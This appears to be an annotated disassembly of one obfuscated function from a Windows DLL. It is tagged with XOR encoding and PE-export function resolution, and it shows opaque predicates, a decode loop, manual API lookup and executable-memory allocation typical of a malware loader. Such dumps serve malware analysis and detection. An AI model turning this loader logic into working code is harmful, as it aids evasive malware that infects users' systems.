Function at 0x180001090
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
cmp dword [0x180020a6c], 0xa
jl 0x1800010c2
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010c2
nop
jmp 0x1800010c0
mov eax, 0x10
call entry0
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call entry0
sub rsp, rax
mov r10, rsp
mov ecx, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
cmp edx, 0xa
jl 0x180001102
test eax, eax
je 0x180001102
jmp 0x180001100
mov cl, byte [section..data]
cmp edx, 0xa
jl 0x180001111
test eax, eax
jne 0x180001131
mov byte [rbx], cl
mov edi, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
cmp edx, 0xa
jl 0x180001135
test eax, eax
je 0x180001135
mov byte [rbx], cl
jmp 0x180001111
mov cl, byte [0x180004001]
cmp edx, 0xa
jl 0x180001144
test eax, eax
jne 0x180001165
mov byte [rbx + 1], cl
mov edi, dword [0x180020a74]
mov edx, dword [0x180020a78]
lea eax, [rdi - 1]
imul eax, edi
and eax, 1
cmp edx, 0xa
jl 0x18000116a
test eax, eax
je 0x18000116a
mov byte [rbx + 1], cl
jmp 0x180001144
mov cl, byte [0x180004002]
cmp edx, 0xa
jl 0x180002bbf
test eax, eax
jne 0x180002be0
jmp 0x180002bbf
mov r15d, dword [rbx]
test r15, r15
je 0x1800012b7
xor edi, edi
cmp r15d, 0x10
jb 0x180001280
lea rax, [r15 - 1]
cmp rax, 0x400
jae 0x180001280
mov edi, r15d
and edi, 0xfffffff0
lea rbx, [rdi - 0x10]
mov rax, rbx
shr rax, 4
add rax, 1
mov r8d, eax
and r8d, 1
test rbx, rbx
je 0x180001247
mov rsi, r8
sub rsi, rax
xor ebx, ebx
lea r9, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
nop word cs:[rax + rax]
nop
mov eax, ebx
and eax, 0x3e0
movups xmm1, xmmword [rax + r9 + 4]
movups xmm2, xmmword [rbx + r9 + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rbx + r9 + 0x414]
xorps xmm2, xmm0
movups xmmword [rbx + r9 + 0x404], xmm2
lea eax, [rbx + 0x10]
and eax, 0x3f0
movups xmm2, xmmword [rax + r9 + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rbx + r9 + 0x414], xmm1
add rbx, 0x20
add rsi, 2
jne 0x1800011f0
jmp 0x180001249
xor ebx, ebx
test r8, r8
je 0x18000127b
mov eax, ebx
and eax, 0x3f0
lea rsi, section..data
movups xmm0, xmmword [rax + rsi + 4]
movups xmm1, xmmword [rbx + rsi + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rbx + rsi + 0x404], xmm1
cmp rdi, r15
je 0x1800012b7
lea rax, section..data
nop word [rax + rax]
mov esi, edi
and esi, 0x3ff
movzx ebx, byte [rsi + rax + 4]
xor bl, byte [rdi + rax + 0x404]
xor bl, 0xc
mov byte [rdi + rax + 0x404], bl
add rdi, 1
cmp rdi, r15
jb 0x180001290
cmp edx, 0xa
jl 0x1800012c4
test ecx, ecx
jne 0x1800014a0
mov eax, dword [0x180020a74]
mov r8d, dword [0x180020a78]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete al
cmp r8d, 0xa
setl bl
or bl, al
mov eax, dword [0x180020a70]
lea esi, [rax - 1]
imul esi, eax
test sil, 1
sete al
cmp dword [0x180020a6c], 0xa
setl r9b
or r9b, al
lea r14, section..data
jmp 0x18000131b
mov ecx, edi
mov edx, r8d
je 0x1800014a0
movzx eax, byte [r15 + r14 + 0x404]
cmp edx, 0xa
jl 0x180001330
test ecx, ecx
jne 0x180001350
nop dword [rax]
lea rdx, [r15 + r14]
add rdx, 0x404
mov byte [r10], al
test bl, bl
je 0x180001350
movzx eax, byte [rdx + 1]
jne 0x180001360
jmp 0x180001380
mov byte [r10], al
jmp 0x180001330
mov byte [r10 + 1], al
test bl, bl
je 0x180001380
movzx eax, byte [rdx + 2]
jne 0x180001410
jmp 0x180001420
mov byte [r10 + 1], al
jmp 0x180001360
test r9b, r9b
jne 0x1800014b2
test bl, bl
je 0x1800014b0
movzx eax, byte [r15 + r14 + 0x404]
je 0x1800013d0
nop dword [rax]
mov byte [r10], al
test bl, bl
je 0x1800013d0
movzx eax, byte [r15 + r14 + 0x405]
jne 0x1800013e0
jmp 0x180001400
mov byte [r10], al
jmp 0x1800013b0
mov byte [r10 + 1], al
test bl, bl
je 0x180001400
movzx eax, byte [r15 + r14 + 0x406]
jne 0x180001450
jmp 0x180001470
mov byte [r10 + 1], al
jmp 0x1800013e0
mov byte [r10 + 2], al
test bl, bl
je 0x180001420
movzx eax, byte [rdx + 3]
jne 0x180001430
jmp 0x18000143c
mov byte [r10 + 2], al
jmp 0x180001410
mov byte [r10 + 3], al
test bl, bl
jne 0x180001390
mov byte [r10 + 3], al
jmp 0x180001430
mov byte [r10 + 2], al
test bl, bl
je 0x180001470
movzx eax, byte [r15 + r14 + 0x407]
jne 0x180001480
jmp 0x18000148c
mov byte [r10 + 2], al
jmp 0x180001450
mov byte [r10 + 3], al
test bl, bl
jne 0x180001310
mov byte [r10 + 3], al
jmp 0x180001480
jmp 0x1800014a0
jmp 0x1800014b0
lea rax, [rdx + 4]
mov qword [rbp - 8], rax
mov r9d, dword [r10]
test r9, r9
je 0x18000160a
xor eax, eax
cmp r9d, 0x20
jb 0x1800015e3
lea rbx, [r9 - 1]
cmp rbx, 0x400
jae 0x1800015e3
lea rcx, [r9 + r14]
add rcx, 4
cmp qword [rbp - 8], rcx
jae 0x18000150c
lea rcx, [rdx + r9]
add rcx, 4
lea rdx, str.UpevqDQoweKyjcKWJIaJMEvYntTUzrBJHWkVrAdOslJXQjWFyXIQljGzWqwntPYujqVbwVlnKLzmKxfcRrqFHZAAFgQUrpDwYFwiblCDlHefmOdUoapPbdCmPGlAFigkAtIpmElqdbcRgOykpZAGJIelWCGBOsnStHGacUOZxnhrlQWqYPeyhnrsaCesEfaxewxXEiGthplfOXvxqUlOmazTyQobjQprkHYRsjHeubRIKXpfwjqcCnCMuVeGTBwKPlfxCVdExKhjnKrhUCSsxfwvOUwrngGCYXwKhcyIFJXsWYKloRztbpxbHmbuldZlqjkCuVuWJhJZXaUSlPCtjrRFDxCGVEZTzGnArfkPyOXvSxTtTHXjDTgCGUxYkfZAFCELmWJcQKZfvcwwrfmIePRZWWOTOLPxRDTshRCMbBgEKmrcQqISWKRWBTkvDPATRqTItbSTaOUxbMhyYRdOcttleACnPQmLorAdaTcfFwWVxwsVZkwdFohckcQetAUqUIsuTzxeOyAIsTsPfXvwHHGsdielDrPPTohmfItjSOfErRXXzZPktsQaqXFbuvjGyEIhdVUGPKoFPqMaXnYmqZahhBoYEDHewZYMUTBAAckkrAsUkEzYmtWKLvHCktlqcphRyakJACmwVqkucPEXiAjbResWzcOnbRykcvMVmxvXHqgImhenwFnliZLMBcEIKOsmZuQjjWqaBrsffSYFDDDoWaLQHBrIWSSvbybvqCOUORzAxDsnYbTxWZwxxReKylHqGTQPKXhYpCdxFwzBjpruWLDDOBqbjXeBbycTtDZLutyTYbqSfUAAlZBKLsqKxFGQKwbxrYckCwAARSrKSAuFfXrVmQUIgkUVydroJaFaBAsyguMlRhooWpGrWAgjEiGjqWesagIStjChLgtZlTWwzfKmltbPpwLEdkhaugrZUFfnCtIOwcXRjxaWPYAvETLIOtSVxQUPGLsvcAnTIJSDStgPgBVoYOqzMCUDpvkIXkbZGSujuDCDtQmPvDt
cmp rcx, rdx
jbe 0x18000150c
xor eax, eax
jmp 0x1800015e3
mov eax, r9d
and eax, 0xffffffe0
lea rbx, [rax - 0x20]
mov rdx, rbx
shr rdx, 5
add rdx, 1
mov r8d, edx
and r8d, 1
test rbx, rbx
je 0x1800015a7
lea rdi, [r15 + r14]
add rdi, 0x438
mov rbx, r8
sub rbx, rdx
xor esi, esi
mov edx, esi
and edx, 0x3c0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
movups xmm2, xmmword [rdi + rsi - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rdi + rsi - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rdi + rsi - 0x10]
movups xmm3, xmmword [rdi + rsi]
movups xmmword [rdi + rsi - 0x30], xmm2
movups xmmword [rdi + rsi - 0x20], xmm0
lea edx, [rsi + 0x20]
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rdx + r14 + 0x14]
xorps xmm1, xmm3
movups xmmword [rdi + rsi - 0x10], xmm0
movups xmmword [rdi + rsi], xmm1
add rsi, 0x40
add rbx, 2
jne 0x180001540
jmp 0x1800015a9
xor esi, esi
test r8, r8
je 0x1800015de
mov edx, esi
and edx, 0x3e0
movups xmm0, xmmword [rdx + r14 + 4]
movups xmm1, xmmword [rdx + r14 + 0x14]
mov rcx, qword [rbp - 8]
movups xmm2, xmmword [rcx + rsi]
xorps xmm2, xmm0
movups xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm1
movups xmmword [rcx + rsi], xmm2
movups xmmword [rcx + rsi + 0x10], xmm0
cmp rax, r9
je 0x18000160a
lea rdx, [r15 + r14]
add rdx, 0x408
nop
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r14 + 4]
xor byte [rdx + rax], cl
add rax, 1
cmp rax, r9
jb 0x1800015f0
cmp dword [0x180020a7c], 0xa
jl 0x180001632
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001632
nop word cs:[rax + rax]
nop
jmp 0x180001630
add r15, 0x408
movsxd rax, dword [0x180004440]
add rax, r14
add rax, 0x404
mov qword [rbp], rax
mov rsi, qword [rbp - 8]
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp byte [rsi], 0
lea rsi, [rsi + 1]
jne 0x180001660
mov r12, rsi
nop dword [rax]
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001670
mov rbx, r12
nop
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001680
mov r13, rbx
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001690
mov r14, r13
nop
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800016a0
mov rdi, r14
nop dword [rax]
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800016b0
sub rsp, 0x20
mov rcx, rsi
call fcn.180002c50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x1800016ea
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023c0
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001719
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800023d0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x10], rsi
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
nop word cs:[rax + rax]
nop
mov edx, dword [rsi]
add rdx, r9
mov rcx, r12
nop dword [rax + rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x180001766
add rcx, 1
add rdx, 1
cmp al, bl
je 0x180001750
cmp al, bl
je 0x180001774
add rsi, 4
add r10, 2
jmp 0x180001740
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800017ae
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023e0
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800017dd
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x1800023f0
add r8, r10
mov esi, dword [r10 + rax + 0x20]
mov r9d, dword [r10 + rax + 0x24]
add rsi, r10
add r9, r10
mov eax, dword [rsi]
add rax, r10
mov rbx, r13
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001816
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001800
cmp cl, dl
je 0x180001824
add rsi, 4
add r9, 2
jmp 0x1800017f0
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
add rsp, 0x10
mov rcx, qword [rbp - 0x10]
call fcn.180002c50
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001888
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002400
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800018b7
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002410
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
lea r13, section..data
nop word cs:[rax + rax]
nop dword [rax + rax]
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r15 + rsi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x18000190a
add rsi, 1
cmp al, bl
je 0x1800018f0
cmp al, bl
je 0x180001918
add rdx, 4
add rcx, 2
jmp 0x1800018e0
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + 0x50]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
mov r14, rax
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x180002482
test edx, edx
je 0x180002482
cmp dword [0x180020a7c], 0xa
jl 0x180001989
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022e0
movsxd rsi, dword [0x180004440]
mov r12, qword [rbp - 8]
nop word cs:[rax + rax]
nop
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800019a0
mov rbx, r12
nop
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x1800019b0
mov r14, rbx
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800019c0
nop word [rax + rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x1800019d0
mov rdi, r14
nop dword [rax]
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800019e0
mov r13, rdi
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x1800019f0
sub rsp, 0x20
mov rcx, r12
call fcn.180002c50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001a2c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022f0
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001a5b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002300
mov qword [rbp], rsi
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
nop word cs:[rax + rax]
nop dword [rax]
mov edx, dword [r11]
add rdx, r9
mov rsi, rbx
nop dword [rax]
movzx ecx, byte [rsi]
movzx eax, byte [rdx]
test cl, cl
je 0x180001aa6
add rsi, 1
add rdx, 1
cmp cl, al
je 0x180001a90
cmp cl, al
je 0x180001ab4
add r11, 4
add r10, 2
jmp 0x180001a80
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001aee
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002310
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001b1d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002320
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r14
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001b56
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001b40
cmp cl, dl
je 0x180001b64
add rdi, 4
add rsi, 2
jmp 0x180001b30
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, r12
call fcn.180002c50
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001bc6
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002330
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001bf5
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002340
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
nop
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r15 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001c38
add rsi, 1
cmp al, bl
je 0x180001c20
cmp al, bl
je 0x180001c46
add rdx, 4
add r9, 2
jmp 0x180001c10
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov r12, qword [rbp - 8]
jl 0x180001cb0
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
mov r12, qword [rbp - 8]
and ecx, 1
jne 0x180002350
nop word cs:[rax + rax]
nop dword [rax]
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001cb0
mov rbx, r12
nop
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001cc0
mov r14, rbx
nop dword [rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001cd0
nop word [rax + rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001ce0
mov rdi, r14
nop dword [rax]
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001cf0
mov r13, rdi
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001d00
sub rsp, 0x20
mov rcx, r12
call fcn.180002c50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180001d3c
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002360
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001d6b
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002370
mov qword [rbp], rsi
add r8, r9
mov r11d, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add r11, r9
add r10, r9
nop word cs:[rax + rax]
nop dword [rax]
mov edx, dword [r11]
add rdx, r9
mov rsi, rbx
nop dword [rax]
movzx ecx, byte [rsi]
movzx eax, byte [rdx]
test cl, cl
je 0x180001db6
add rsi, 1
add rdx, 1
cmp cl, al
je 0x180001da0
cmp cl, al
je 0x180001dc4
add r11, 4
add r10, 2
jmp 0x180001d90
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001dfe
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002380
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001e2d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002390
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r14
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180001e66
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180001e50
cmp cl, dl
je 0x180001e74
add rdi, 4
add rsi, 2
jmp 0x180001e40
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, r12
call fcn.180002c50
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x180001ed6
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800023a0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180001f05
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x1800023b0
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov r9d, dword [r10 + rcx + 0x24]
add rdx, r10
add r9, r10
lea rcx, section..data
nop
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r15 + rsi]
movzx eax, byte [rcx + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180001f48
add rsi, 1
cmp al, bl
je 0x180001f30
cmp al, bl
je 0x180001f56
add rdx, 4
add r9, 2
jmp 0x180001f20
movzx eax, word [r9]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp]
mov edx, dword [rax + rcx + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180001fa3
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000196b
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a7c], 0xa
mov rcx, qword [rbp - 8]
jl 0x180001fd0
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
mov rcx, qword [rbp - 8]
and edx, 1
jne 0x180002420
cmp byte [rcx], 0
lea rcx, [rcx + 1]
jne 0x180001fd0
mov r12, rcx
nop dword [rax]
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001fe0
mov r14, r12
nop
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180001ff0
nop word [rax + rax]
cmp byte [r14], 0
lea r14, [r14 + 1]
jne 0x180002000
mov rdi, r14
nop dword [rax]
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180002010
mov r13, rdi
nop dword [rax]
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180002020
sub rsp, 0x20
mov qword [rbp], rcx
call fcn.180002c50
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000205d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002430
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000208c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002440
mov qword [rbp - 0x10], rsi
add r8, r9
mov esi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rsi, r9
add r10, r9
mov edx, dword [rsi]
add rdx, r9
mov rcx, r12
nop dword [rax + rax]
movzx eax, byte [rcx]
movzx ebx, byte [rdx]
test al, al
je 0x1800020c6
add rcx, 1
add rdx, 1
cmp al, bl
je 0x1800020b0
cmp al, bl
je 0x1800020d4
add rsi, 4
add r10, 2
jmp 0x1800020a3
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, rdi
call r9
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x18000210e
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002450
movsxd rax, dword [r10 + 0x3c]
mov eax, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000213d
mov ecx, dword [0x180020a90]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002460
add r8, r10
mov edi, dword [r10 + rax + 0x20]
mov esi, dword [r10 + rax + 0x24]
add rdi, r10
add rsi, r10
mov eax, dword [rdi]
add rax, r10
mov rbx, r14
nop dword [rax + rax]
movzx ecx, byte [rbx]
movzx edx, byte [rax]
test cl, cl
je 0x180002176
add rbx, 1
add rax, 1
cmp cl, dl
je 0x180002160
cmp cl, dl
je 0x180002184
add rdi, 4
add rsi, 2
jmp 0x180002150
movzx eax, word [rsi]
mov eax, dword [r8 + rax*4]
add r10, rax
sub rsp, 0x30
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call r10
add rsp, 0x10
mov rcx, qword [rbp]
call fcn.180002c50
add rsp, 0x20
mov r10, rax
cmp dword [0x180020a84], 0xa
jl 0x1800021e7
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002470
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002216
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002480
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
lea r14, section..data
mov edi, dword [rdx]
add rdi, r10
xor esi, esi
nop word [rax + rax]
lea rax, [r15 + rsi]
movzx eax, byte [r14 + rax]
movzx ebx, byte [rdi + rsi]
test al, al
je 0x180002259
add rsi, 1
cmp al, bl
je 0x180002240
cmp al, bl
je 0x180002267
add rdx, 4
add rcx, 2
jmp 0x180002230
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov rax, qword [rbp - 0x10]
mov edx, dword [rax + r14 + 0x454]
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call r10
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x1800022b4
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000196b
cmp dword [0x180020a7c], 0xa
jl 0x180001639
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001639
jmp 0x180001630
jmp 0x1800022e0
jmp 0x1800022f0
jmp 0x180002300
jmp 0x180002310
jmp 0x180002320
jmp 0x180002330
jmp 0x180002340
jmp 0x180002350
jmp 0x180002360
jmp 0x180002370
jmp 0x180002380
jmp 0x180002390
jmp 0x1800023a0
jmp 0x1800023b0
jmp 0x1800023c0
jmp 0x1800023d0
jmp 0x1800023e0
jmp 0x1800023f0
jmp 0x180002400
jmp 0x180002410
jmp 0x180002420
